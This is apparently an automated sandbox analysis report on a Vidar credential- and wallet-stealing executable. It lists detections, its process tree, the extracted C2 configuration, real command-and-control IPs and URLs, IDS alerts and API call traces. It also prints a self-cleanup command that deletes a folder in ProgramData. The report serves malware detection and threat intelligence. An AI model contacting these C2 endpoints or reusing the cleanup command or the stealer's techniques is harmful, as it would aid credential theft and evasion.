Edit tour

Windows Analysis Report
a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Overview

General Information

Sample name:	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe
Analysis ID:	1487424
MD5:	3cd180f72198597215cab492c109f5a0
SHA1:	01ceb31bfcb1f5d6eefffa5bf1c6cb891ca6dd75
SHA256:	5ad0e5d670206288abccd95bb0e3ff1ee9a889b49423cb5160c7c59912991a0d
Tags:	exe
Infos:

Detection

Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected Powershell download and execute

Yara detected Vidar

Yara detected Vidar stealer

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Searches for specific processes (likely to inject)

Sigma detected: Silenttrinity Stager Msbuild Activity

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe (PID: 6448 cmdline: "C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe" MD5: 3CD180F72198597215CAB492C109F5A0)

EHDHIDAEHC.exe (PID: 5460 cmdline: "C:\ProgramData\EHDHIDAEHC.exe" MD5: 4B005E8541F7ED9BD82D80CE58C55C7C)

MSBuild.exe (PID: 5040 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

MSBuild.exe (PID: 1596 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe" MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

cmd.exe (PID: 480 cmdline: "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BFCAAEHJDBKJ" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 5888 cmdline: timeout /t 10 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: Vidar

{"C2 url": ["https://steamcommunity.com/profiles/76561199747278259"], "Botnet": "625d7a8e379321656ff1b88ebf9542b7"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000004.00000002.2094707680.000000000436C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000004.00000002.2094707680.0000000003EC0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000004.00000002.2092269679.0000000002FC9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000000.1698830320.00000000003F0000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000004.00000002.2094707680.000000000439A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2173978549.00000000003F0000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000006.00000002.2343148482.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000004.00000002.2094707680.0000000003E93000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe PID: 6448	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe PID: 6448	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe PID: 6448	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: EHDHIDAEHC.exe PID: 5460	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: EHDHIDAEHC.exe PID: 5460	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: EHDHIDAEHC.exe PID: 5460	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: MSBuild.exe PID: 1596	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: MSBuild.exe PID: 1596	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: MSBuild.exe PID: 1596	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author
0.2.a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe.3d0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
4.2.EHDHIDAEHC.exe.439a680.4.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
4.2.EHDHIDAEHC.exe.436ce50.10.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
4.2.EHDHIDAEHC.exe.3e931c0.5.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
4.2.EHDHIDAEHC.exe.3ec09f0.8.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0.0.a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe.3d0000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
4.2.EHDHIDAEHC.exe.439a680.4.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
6.2.MSBuild.exe.400000.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
6.2.MSBuild.exe.400000.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
4.2.EHDHIDAEHC.exe.436ce50.10.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
4.2.EHDHIDAEHC.exe.3ec09f0.8.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
4.2.EHDHIDAEHC.exe.3e931c0.5.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Click to see the 7 entries

Sigma Signatures

System Summary

Sigma detected: Silenttrinity Stager Msbuild Activity

Source: Network Connection

Author: Kiran kumar s, oscd.community: Data: DestinationIp: 104.102.49.249, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, Initiated: true, ProcessId: 1596, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49764

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:09.387299+0200
SID:	2028765
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:40.705665+0200
SID:	2028765
Source Port:	49758
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:05.469356+0200
SID:	2028765
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 168.119.176.241 - Destination IP: 192.168.2.4

Timestamp:	2024-08-04T02:22:00.525216+0200
SID:	2051831
Source Port:	443
Destination Port:	49770
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:33.096263+0200
SID:	2028765
Source Port:	49755
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:22:01.268905+0200
SID:	2028765
Source Port:	49771
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:59.869588+0200
SID:	2028765
Source Port:	49770
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:57.263946+0200
SID:	2028765
Source Port:	49767
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:22:05.282515+0200
SID:	2028765
Source Port:	49773
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 168.119.176.241 - Destination IP: 192.168.2.4

Timestamp:	2024-08-04T02:21:59.217631+0200
SID:	2044247
Source Port:	443
Destination Port:	49768
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Vidar Stealer Form Exfil - Source IP: 192.168.2.4 - Destination IP: 38.180.132.96

Timestamp:	2024-08-04T02:21:48.867868+0200
SID:	2054495
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:22:02.304940+0200
SID:	2028765
Source Port:	49772
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:12.059992+0200
SID:	2028765
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:16.647582+0200
SID:	2028765
Source Port:	49739
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:43.438103+0200
SID:	2028765
Source Port:	49760
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:08.096471+0200
SID:	2028765
Source Port:	49734
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:20.175940+0200
SID:	2028765
Source Port:	49742
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:10.041222+0200
SID:	2049087
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:06.778617+0200
SID:	2028765
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:24.249194+0200
SID:	2028765
Source Port:	49749
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:17.658852+0200
SID:	2028765
Source Port:	49740
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:28.937524+0200
SID:	2028765
Source Port:	49753
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:22:06.316077+0200
SID:	2028765
Source Port:	49774
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:26.017652+0200
SID:	2028765
Source Port:	49751
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 168.119.176.241 - Destination IP: 192.168.2.4

Timestamp:	2024-08-04T02:21:13.945829+0200
SID:	2011803
Source Port:	443
Destination Port:	49737
Protocol:	TCP
Classtype:	Executable code was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:22.165718+0200
SID:	2028765
Source Port:	49745
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 168.119.176.241 - Destination IP: 192.168.2.4

Timestamp:	2024-08-04T02:21:23.019226+0200
SID:	2011803
Source Port:	443
Destination Port:	49745
Protocol:	TCP
Classtype:	Executable code was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:15.032943+0200
SID:	2028765
Source Port:	49738
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:18.841343+0200
SID:	2028765
Source Port:	49741
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:10.921800+0200
SID:	2028765
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 - Source IP: 168.119.176.241 - Destination IP: 192.168.2.4

Timestamp:	2024-08-04T02:21:10.041373+0200
SID:	2051831
Source Port:	443
Destination Port:	49735
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:45.523846+0200
SID:	2028765
Source Port:	49761
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:31.888318+0200
SID:	2028765
Source Port:	49754
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:55.959350+0200
SID:	2028765
Source Port:	49766
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:54.705262+0200
SID:	2028765
Source Port:	49765
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:04.312466+0200
SID:	2028765
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config - Source IP: 168.119.176.241 - Destination IP: 192.168.2.4

Timestamp:	2024-08-04T02:21:08.728949+0200
SID:	2044247
Source Port:	443
Destination Port:	49734
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:07.424645+0200
SID:	2049087
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:34.443218+0200
SID:	2028765
Source Port:	49756
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:58.572409+0200
SID:	2028765
Source Port:	49768
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:47.444673+0200
SID:	2028765
Source Port:	49762
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:08.728808+0200
SID:	2049087
Source Port:	49734
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:27.454102+0200
SID:	2028765
Source Port:	49752
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected - Source IP: 168.119.176.241 - Destination IP: 192.168.2.4

Timestamp:	2024-08-04T02:22:04.240734+0200
SID:	2011803
Source Port:	443
Destination Port:	49772
Protocol:	TCP
Classtype:	Executable code was detected

ET JA3 Hash - [Abuse.ch] Possible Dridex - Source IP: 192.168.2.4 - Destination IP: 168.119.176.241

Timestamp:	2024-08-04T02:21:42.136637+0200
SID:	2028765
Source Port:	49759
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://168.119.176.241/r	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/s	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/t	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/qo	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/z:O	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/r5	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199747278259/badges	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/259H	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/K	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/ECD	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/0	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/RCHAR	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/8	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/6	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/$	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/&	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/sqls.dllI	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/msvcp140.dll	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/sqls.dll_	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/graphy	Avira URL Cloud: Label: malware
Source: https://steamcommunity.com/profiles/76561199747278259/inventory/	Avira URL Cloud: Label: malware
Source: https://168.119.176.241	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/nss3.dllf	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/41	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/key%	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/(%f	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/s_1l	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/softokn3.dll	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/mozglue.dllU	Avira URL Cloud: Label: malware
Source: https://168.119.176.241/Microsoft	Avira URL Cloud: Label: malware

Found malware configuration

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Malware Configuration Extractor: Vidar {"C2 url": ["https://steamcommunity.com/profiles/76561199747278259"], "Botnet": "625d7a8e379321656ff1b88ebf9542b7"}

Multi AV Scanner detection for domain / URL

Source: arpdabl.zapto.org	Virustotal: Detection: 12%	Perma Link
Source: https://168.119.176.241/0	Virustotal: Detection: 13%	Perma Link
Source: https://168.119.176.241/6	Virustotal: Detection: 13%	Perma Link
Source: https://168.119.176.241/8	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\EHDHIDAEHC.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mine[1].exe	ReversingLabs: Detection: 36%

Multi AV Scanner detection for submitted file

Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe

Virustotal: Detection: 60%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mine[1].exe	Joe Sandbox ML: detected
Source: C:\ProgramData\EHDHIDAEHC.exe	Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D6D50 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_003D6D50
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D6CD0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_003D6CD0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003D8980 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,PK11_FreeSlot,lstrcatA,PK11_FreeSlot,lstrcatA,	0_2_003D8980
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_003E0DF0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_003E0DF0
Source: C:\Users\user\Desktop\a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	Code function: 0_2_6C2A6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C2A6C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00406D50 CryptUnprotectData,LocalAlloc,LocalFree,	6_2_00406D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00406CD0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	6_2_00406CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00410DF0 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	6_2_00410DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 6_2_00408980 memset,lstrlenA,CryptStringToBinaryA,memcpy,lstrcatA,lstrcatA,	6_2_00408980

